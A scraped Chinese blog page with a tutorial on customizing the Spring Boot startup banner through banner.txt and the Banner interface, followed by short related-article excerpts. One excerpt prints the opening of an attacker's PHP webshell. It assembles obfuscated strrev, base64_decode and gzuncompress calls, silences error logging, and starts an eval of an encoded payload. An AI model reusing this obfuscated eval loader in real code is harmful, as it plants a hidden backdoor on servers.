当前位置: 首页 > news >正文

深入探索 Spring Boot 自定义启动画面

目录

  1. 引言
  2. 什么是 Spring Boot 启动画面
  3. Spring Boot 默认启动画面
  4. 为什么要自定义启动画面
  5. 如何自定义 Spring Boot 启动画面
    • 修改配置文件
    • 使用 Banner 接口
    • 通过图片实现启动画面
    • ASCII 艺术画的应用
  6. 进阶:基于环境变量的动态 Banner
  7. 多模块项目中的启动画面
  8. Spring Boot 启动画面最佳实践
  9. 常见问题及解决方案
  10. 结论

引言

Spring Boot 是现代 Java 开发中的一个重要框架,它简化了基于 Spring 的应用程序的创建过程。其快速开发、配置灵活、内嵌服务器等特点使得它在微服务架构中尤为流行。在启动 Spring Boot 应用程序时,会看到一个默认的启动画面(Banner),这个画面不仅仅是一个装饰,还可以包含一些有用的信息。本文将深入探讨如何自定义 Spring Boot 的启动画面,让你的应用程序更加个性化和专业化。

什么是 Spring Boot 启动画面

Spring Boot 启动画面,即 Banner,是在启动 Spring Boot 应用时显示在控制台的一段 ASCII 艺术画或文本信息。这个启动画面默认包含了 Spring Boot 的标识和版本信息,但你可以根据需求自定义其内容。

Spring Boot 默认启动画面

Spring Boot 的默认启动画面包含了 “Spring” 字样的 ASCII 艺术画和版本信息,位于 org.springframework.boot.Banner 类中。默认的启动画面如下:

  .   ____          _            __ _ _/\\ / ___'_ __ _ _(_)_ __  __ _ \ \ \ \
( ( )\___ | '_ | '_| | '_ \/ _` | \ \ \ \\\/  ___)| |_)| | | | | || (_| |  ) ) ) )'  |____| .__|_| |_|_| |_\__, | / / / /=========|_|==============|___/=/_/_/_/:: Spring Boot ::        (v2.4.5)

为什么要自定义启动画面

自定义启动画面可以为你的应用程序带来以下几个好处:

  • 品牌识别:通过在启动画面中加入公司 Logo 或项目名称,可以增强品牌的辨识度。
  • 信息展示:可以显示项目版本、启动时间、环境变量等有用的信息,便于开发和运维人员快速获取。
  • 个性化:使你的应用程序看起来更加专业和独特。

如何自定义 Spring Boot 启动画面

Spring Boot 提供了多种自定义启动画面的方法,以下是一些常见的方式:

修改配置文件

最简单的方式是通过配置文件来修改 Banner。你可以在 src/main/resources 目录下创建一个名为 banner.txt 的文件,然后将你想要显示的内容写入该文件。

例如:

banner.txt

  ____              _   _      _| __ )  __ _ _ __ | |_| |_ __| |_ __  __|  _ \ / _` | '_ \| __| __/ _` | '_ \ \/ /| |_) | (_| | | | | |_| || (_| | | | >  <|____/ \__,_|_| |_|\__|\__\__,_|_| |_/\_\:: My Spring Boot Application :: (v1.0.0)

在启动应用程序时,你将会看到自定义的启动画面。

使用 Banner 接口

Spring Boot 还提供了 Banner 接口,你可以通过实现这个接口来自定义启动画面。

首先,创建一个类实现 org.springframework.boot.Banner 接口:

import org.springframework.boot.Banner;
import org.springframework.core.env.Environment;
import org.springframework.core.io.ResourceLoader;import java.io.PrintStream;public class CustomBanner implements Banner {@Overridepublic void printBanner(Environment environment, Class<?> sourceClass, PrintStream out) {out.println("  ____              _   _      _ ");out.println(" | __ )  __ _ _ __ | |_| |_ __| |_ __  __");out.println(" |  _ \\ / _` | '_ \\| __| __/ _` | '_ \\ \\/ /");out.println(" | |_) | (_| | | | | |_| || (_| | | | >  < ");out.println(" |____/ \\__,_|_| |_|\\__|\\__\\__,_|_| |_/_/\\_\\");out.println(" :: My Spring Boot Application :: (v1.0.0)");}
}

然后,在应用程序的启动类中设置自定义的 Banner:

import org.springframework.boot.Banner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplication
public class Application {public static void main(String[] args) {SpringApplication app = new SpringApplication(Application.class);app.setBanner(new CustomBanner());app.run(args);}
}

通过图片实现启动画面

如果你希望使用图片作为启动画面,可以使用一些工具将图片转换为 ASCII 艺术画,然后将结果放入 banner.txt 中。

例如,使用 Patorjk 生成 ASCII 艺术画,将其放入 banner.txt

  _______                   __    __  __/       \                 /  |  /  |/  |$$$$$$$  | __    __  _____$$ |  $$ |$$/  _______$$ |__$$ |/  |  /  |/     $$ |  $$ |/  |/       \$$    $$< $$ |  $$ |$$$$$$$ $$ |  $$ |$$ |$$$$$$$  |$$$$$$$  |$$ |  $$ |$$ |  $$ $$ |  $$ |$$ |$$ |  $$ |$$ |__$$ |$$ \__$$ |$$ \__$$ $$ \__$$ |$$ |$$ |  $$ |$$    $$/ $$    $$/ $$    $$/ $$    $$/$$ |$$ |  $$ |$$$$$$$/   $$$$$$/   $$$$$$/   $$$$$$/ $$/ $$/   $$/

ASCII 艺术画的应用

ASCII 艺术画是一种使用字符组合形成图形的艺术形式,非常适合用来制作启动画面。可以使用在线工具如 ASCII Art Generator 来创建你的启动画面。

以下是一个示例,将 ASCII 艺术画保存到 banner.txt 文件中:

   _____                 _             ____              _   / ____|               | |           |  _ \            | |  | (___  _ __ ___  _ __ | | ___  _   _| |_) | __ _ _ __ | |_ \___ \| '_ ` _ \| '_ \| |/ _ \| | | |  _ < / _` | '_ \| __|____) | | | | | | |_) | | (_) | |_| | |_) | (_| | | | | |_ |_____/|_| |_| |_| .__/|_|\___/ \__, |____/ \__,_|_| |_|\__|| |             __/ |                     |_|            |___/                      :: Spring Boot Custom Banner ::

进阶:基于环境变量的动态 Banner

有时你可能希望根据不同的环境变量来显示不同的启动画面。可以在 Banner 接口实现类中动态生成 Banner 内容。

以下是一个示例,根据环境变量显示不同的 Banner:

import org.springframework.boot.Banner;
import org.springframework.core.env.Environment;import java.io.PrintStream;public class DynamicBanner implements Banner {@Overridepublic void printBanner(Environment environment, Class<?> sourceClass, PrintStream out) {String profile = environment.getProperty("spring.profiles.active");if ("dev".equals(profile)) {out.println("  ____              _   _      _ ");out.println(" |  _ \\  __ _ _ __ | |_| |_ __| |_ __  __");out.println(" | | | |/ _` | '_ \\| __| __/ _` | '_ \\ \\/ /");out.println(" | |_| | (_| | | | | |_| || (_| | | | >  < ");out.println(" |____/ \\__,_|_| |_|\\__|\\__\\__,_|_| |_/_/\\_\\");out.println(" :: Development Environment ::");} else if ("prod".equals(profile)) {out.println("  ____              _   _      _ ");out.println(" |  _ \\  __ _ _ __ | |_| |_ __| |_ __  __");out.println(" | | | |/ _` | '_ \\| __| __/ _` | '_ \\ \\/ /");out.println(" | |_| | (_| | | | | |_| || (_| | | | >  < ");out.println(" |____/ \\__,_|_| |_|\\__|\\__\\__,_|_| |_/_/\\_\\");out.println(" :: Production Environment ::");} else {out.println("  ____              _   _      _ ");out.println(" |  _ \\  __ _ _ __ | |_| |_ __| |_ __  __");out.println(" | | | |/ _` | '_ \\| __| __/ _` | '_ \\ \\/ /");out.println(" | |_| | (_| | | | | |_| || (_| | | | >  < ");out.println(" |____/ \\__,_|_| |_|\\__|\\__\\__,_|_| |_/_/\\_\\");out.println(" :: Default Environment ::");}}
}

然后在 Spring Boot 应用程序的启动类中使用这个自定义的 Banner 类:

import org.springframework.boot.Banner;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;@SpringBootApplication
public class Application {public static void main(String[] args) {SpringApplication app = new SpringApplication(Application.class);app.setBanner(new DynamicBanner());app.run(args);}
}

这样,根据 spring.profiles.active 环境变量的不同,启动时会显示不同的启动画面,帮助开发者快速区分环境。

多模块项目中的启动画面

在多模块项目中,每个模块都可以有自己的启动类和自定义 Banner。你可以针对每个模块定义不同的启动画面,以反映出每个模块的独特性和用途。

Spring Boot 启动画面最佳实践

在使用自定义启动画面时,有几点最佳实践值得注意:

  • 简洁明了:启动画面应该简洁明了,不要包含过多的信息,避免干扰应用程序启动过程的主要信息。
  • 品牌标识:合理使用品牌 Logo 和名称,增强应用程序的专业度和品牌识别度。
  • 信息实用:可以显示一些对开发和运维有帮助的信息,如版本号、环境配置等,方便排查问题和调试。

常见问题及解决方案

在使用自定义启动画面过程中,可能会遇到一些常见问题,例如显示不正确或排版混乱等。可以通过以下方法解决:

  • 检查 ASCII 艺术画:确保 ASCII 艺术画的格式正确,每一行的字符数一致,避免出现排版问题。
  • 调整控制台宽度:有时候控制台的宽度会影响 ASCII 艺术画的显示效果,可以调整控制台的宽度来适应。
  • 使用工具生成:可以使用在线工具生成 ASCII 艺术画,确保其格式正确。

结论

通过本文的介绍,你了解了如何在 Spring Boot 应用程序中自定义启动画面。无论是简单的文本信息还是复杂的 ASCII 艺术画,都可以根据你的需求进行定制。自定义启动画面不仅可以增加应用程序的个性化特色,还能提升开发和运维过程中的信息展示和识别效率。希望本文能够帮助你更好地理解和应用 Spring Boot 启动画面定制技术,为你的应用程序增添一份独特的魅力!

相关文章:

深入探索 Spring Boot 自定义启动画面

目录 引言什么是 Spring Boot 启动画面Spring Boot 默认启动画面为什么要自定义启动画面如何自定义 Spring Boot 启动画面 修改配置文件使用 Banner 接口通过图片实现启动画面ASCII 艺术画的应用 进阶&#xff1a;基于环境变量的动态 Banner多模块项目中的启动画面Spring Boot…...

Redis实战—Redis分布式锁

本博客为个人学习笔记&#xff0c;学习网站与详细见&#xff1a;黑马程序员Redis入门到实战 P56 - P63 目录 分布式锁介绍 基于Redis的分布式锁 Redis锁代码实现 修改业务代码 分布式锁误删问题 分布式锁原子性问题 Lua脚本 编写脚本 代码优化 总结 分布式锁介绍…...

联想Y7000P 2023款拆机教程及升级内存教程

0.电脑参数介绍 联想Y7000P 2023电脑&#xff0c;笔者电脑CPU为i7-13700H&#xff0c;14核20线程&#xff1b;标配内存为三星的DDR5-5600MHz-8GB*2&#xff0c;由于电脑CPU限制&#xff0c;实际内存跑的频率为5200MHz; 2个内存插槽&#xff0c;2个固态硬盘插槽。每个内存插槽最…...

开发常用依赖

目录 代理对象 Swagger Web 单元测试 MybatisPlus Lombok Mysql SpringBoot Jdk SpringCloud 数据库驱动包 hutool工具 配置仓库 通用库 maven插件 nacos注册中心 OpenFeign Spring AMQP JSON转换器 Redis 邮箱验证 Redisson分布式锁 客户端 代理对象 &l…...

【区分vue2和vue3下的element UI Empty 空状态组件,分别详细介绍属性,事件,方法如何使用,并举例】

在 Element UI&#xff08;为 Vue 2 设计&#xff09;和 Element Plus&#xff08;为 Vue 3 设计&#xff09;中&#xff0c;Empty&#xff08;空状态&#xff09;组件通常用于在数据为空或没有内容时向用户展示一种占位提示。然而&#xff0c;需要注意的是&#xff0c;Element…...

【AI作曲】毁掉音乐?早该来了!一个网易音乐人对于 AI 大模型音乐创作的思辨

引言&#xff1a;AI在创造还是毁掉音乐&#xff1f; 正如当初 midjourney 和 StableDiffusion 在绘画圈掀起的风波一样&#xff0c;suno 和 各大音乐大模型的来临&#xff0c;其实早该来了。 AI 在毁掉绘画&#xff1f;或者毁掉音乐&#xff1f; 没错&#xff0c;但也错了。…...

RabbitMQ实践——最大长度队列

大纲 抛弃消息创建最大长度队列绑定实验 转存死信创建死信队列创建可重写Routing key的最大长度队列创建绑定关系实验 在一些业务场景中&#xff0c;我们只需要保存最近的若干条消息&#xff0c;这个时候我们就可以使用“最大长度队列”来满足这个需求。该队列在收到消息后&…...

【pytorch02】手写数字问题引入

1.数据集 现实生活中遇到的问题 车牌识别身份证号码识别快递单的识别 都会涉及到数字识别 MNIST&#xff08;收集了很多人手写的0到9数字的图片&#xff09; 每个数字拥有7000个图像train/test splitting:60k vs 10k 图片大小28 28 数据集划分成训练集和测试集合的意义…...

【查看显卡信息】——Ubuntu和windows

1、VMware虚拟机 VMware虚拟机上不能使用CUDA/CUDNN&#xff0c;也安装不了显卡驱动 查看显卡信息&#xff1a; lspci | grep -i vga 不会显示显卡信息&#xff0c;只会输出VMware SVGA II Adapter&#xff0c;表示这是一个虚拟机&#xff0c;无法安装和使用显卡驱动 使用上…...

在 RK3568 上构建 Android 11 模块:深入解析 m、mm、mmm 编译命令

目录 Android 编译系统概述编译命令简介 环境准备使用 m、mm、mmm 编译模块编译整个源码树编译单个模块编译指定目录下的模块 高级应用并行编译清理编译结果编译特定配置 在 Android 开发中&#xff0c;特别是在 RK3568 这样的高性能平台上&#xff0c;有效地编译和管理模块是确…...

实战|YOLOv10 自定义目标检测

引言 YOLOv10[1] 概述和使用自定义数据训练模型 概述 由清华大学的研究团队基于 Ultralytics Python 包研发的 YOLOv10&#xff0c;通过优化模型结构并去除非极大值抑制&#xff08;NMS&#xff09;环节&#xff0c;提出了一种创新的实时目标检测技术。这些改进不仅实现了行业领…...

TTS前端原理学习 chatgpt生成答案

第一篇文章学习 小绿鲸阅读器 通篇使用chatgpt生成答案 文章&#xff1a; https://arxiv.org/pdf/2012.15404 1. 文章概述 本文提出了一种基于Distilled BERT模型的统一普通话文本到语音前端模块。该模型通过预训练的中文BERT作为文本编码器&#xff0c;并采用多任务学习技术…...

AI“音乐创作”横行给音乐家带来哪些隐忧

​​​​​​​近日&#xff0c;200多名国际乐坛知名音乐人联署公开信&#xff0c;呼吁AI开发者、科技公司、平台和数字音乐服务商停止使用人工智能(AI)来侵犯并贬低人类艺术家的权利&#xff0c;具体诉求包括&#xff0c;停止使用AI侵犯及贬低人类艺术家的权利&#xff0c;要求…...

SolidityFoundry 安全审计测试 Delegatecall漏洞2

名称&#xff1a; Delegatecall漏洞2 https://github.com/XuHugo/solidityproject/tree/master/vulnerable-defi 描述&#xff1a; 我们已经了解了delegatecall 一个基础的漏洞——所有者操纵漏洞&#xff0c;这里就不再重复之前的基础知识了&#xff0c;不了解或者遗忘的可…...

【字符串 状态机动态规划】1320. 二指输入的的最小距离

本文涉及知识点 动态规划汇总 字符串 状态机动态规划 LeetCode1320. 二指输入的的最小距离 二指输入法定制键盘在 X-Y 平面上的布局如上图所示&#xff0c;其中每个大写英文字母都位于某个坐标处。 例如字母 A 位于坐标 (0,0)&#xff0c;字母 B 位于坐标 (0,1)&#xff0…...

2024.06.23【读书笔记】丨生物信息学与功能基因组学(第十七章 人类基因组 第三部分)【AI测试版】

第三部分:人类基因组的深入分析与比较基因组学 摘要: 本部分基于2001年国际人类基因组测序联盟(IHGSC)发布的人类基因组测序及分析草图,从生物信息学角度深入讨论了人类基因组的结构特征和分析方法。同时,提及了塞莱拉公司(Celera Genomics)版本的人类基因组草图及其…...

外观模式(大话设计模式)C/C++版本

外观模式 C #include <iostream> using namespace std;class stock1 { public:void Sell(){cout << "股票1卖出" << endl;}void Buy(){cout << "股票1买入" << endl;} };class stock2 { public:void Sell(){cout << …...

PHP木马原文

攻击者留下的源码 <?php $ZimXb strre.v; $SkYID ba.se64._d.eco.de; $qetGk g.zuncomp.ress; ini_set(display_errors, 0); ini_set(log_errors, 0); /*** 13f382ef7053c327e26dff2a9c14affbd9e8296a ***/ error_reporting(0); eval($qetGk($SkYID($ZimXb(Q2WA…...

湖南(市场调研)源点咨询 新产品上市前市场机会调研与研究分析

湖南源点调研认为&#xff1a;无论是创业公司&#xff0c;还是在公司内部探索新的项目或者新的产品线等&#xff0c;首先都要做“市场机会分析与调研“&#xff0c;要真正思考并解答以下疑问&#xff1a; 我们的目标客户群体是谁&#xff0c;他们如何决策&#xff1f; 我们所…...

Vue82-组件内路由守卫

一、组件内路由守卫的定义 在一个组件里面去写路由守卫&#xff0c;而不是在路由配置文件index.js中去写。 此时&#xff0c;该路由守卫是改组件所独有的&#xff01; 只有通过路由规则进入的方式&#xff0c;才会调这两个函数&#xff0c;否则&#xff0c;若是只是用<Ab…...

KubeSphere 容器平台高可用:环境搭建与可视化操作指南

Linux_k8s篇 欢迎来到Linux的世界&#xff0c;看笔记好好学多敲多打&#xff0c;每个人都是大神&#xff01; 题目&#xff1a;KubeSphere 容器平台高可用&#xff1a;环境搭建与可视化操作指南 版本号: 1.0,0 作者: 老王要学习 日期: 2025.06.05 适用环境: Ubuntu22 文档说…...

网络六边形受到攻击

大家读完觉得有帮助记得关注和点赞&#xff01;&#xff01;&#xff01; 抽象 现代智能交通系统 &#xff08;ITS&#xff09; 的一个关键要求是能够以安全、可靠和匿名的方式从互联车辆和移动设备收集地理参考数据。Nexagon 协议建立在 IETF 定位器/ID 分离协议 &#xff08;…...

第19节 Node.js Express 框架

Express 是一个为Node.js设计的web开发框架&#xff0c;它基于nodejs平台。 Express 简介 Express是一个简洁而灵活的node.js Web应用框架, 提供了一系列强大特性帮助你创建各种Web应用&#xff0c;和丰富的HTTP工具。 使用Express可以快速地搭建一个完整功能的网站。 Expre…...

Cinnamon修改面板小工具图标

Cinnamon开始菜单-CSDN博客 设置模块都是做好的&#xff0c;比GNOME简单得多&#xff01; 在 applet.js 里增加 const Settings imports.ui.settings;this.settings new Settings.AppletSettings(this, HTYMenusonichy, instance_id); this.settings.bind(menu-icon, menu…...

MFC 抛体运动模拟:常见问题解决与界面美化

在 MFC 中开发抛体运动模拟程序时,我们常遇到 轨迹残留、无效刷新、视觉单调、物理逻辑瑕疵 等问题。本文将针对这些痛点,详细解析原因并提供解决方案,同时兼顾界面美化,让模拟效果更专业、更高效。 问题一:历史轨迹与小球残影残留 现象 小球运动后,历史位置的 “残影”…...

搭建DNS域名解析服务器(正向解析资源文件)

正向解析资源文件 1&#xff09;准备工作 服务端及客户端都关闭安全软件 [rootlocalhost ~]# systemctl stop firewalld [rootlocalhost ~]# setenforce 0 2&#xff09;服务端安装软件&#xff1a;bind 1.配置yum源 [rootlocalhost ~]# cat /etc/yum.repos.d/base.repo [Base…...

MySQL JOIN 表过多的优化思路

当 MySQL 查询涉及大量表 JOIN 时&#xff0c;性能会显著下降。以下是优化思路和简易实现方法&#xff1a; 一、核心优化思路 减少 JOIN 数量 数据冗余&#xff1a;添加必要的冗余字段&#xff08;如订单表直接存储用户名&#xff09;合并表&#xff1a;将频繁关联的小表合并成…...

并发编程 - go版

1.并发编程基础概念 进程和线程 A. 进程是程序在操作系统中的一次执行过程&#xff0c;系统进行资源分配和调度的一个独立单位。B. 线程是进程的一个执行实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位。C.一个进程可以创建和撤销多个线程;同一个进程中…...

探索Selenium:自动化测试的神奇钥匙

目录 一、Selenium 是什么1.1 定义与概念1.2 发展历程1.3 功能概述 二、Selenium 工作原理剖析2.1 架构组成2.2 工作流程2.3 通信机制 三、Selenium 的优势3.1 跨浏览器与平台支持3.2 丰富的语言支持3.3 强大的社区支持 四、Selenium 的应用场景4.1 Web 应用自动化测试4.2 数据…...

破解路内监管盲区:免布线低位视频桩重塑停车管理新标准

城市路内停车管理常因行道树遮挡、高位设备盲区等问题&#xff0c;导致车牌识别率低、逃费率高&#xff0c;传统模式在复杂路段束手无策。免布线低位视频桩凭借超低视角部署与智能算法&#xff0c;正成为破局关键。该设备安装于车位侧方0.5-0.7米高度&#xff0c;直接规避树枝遮…...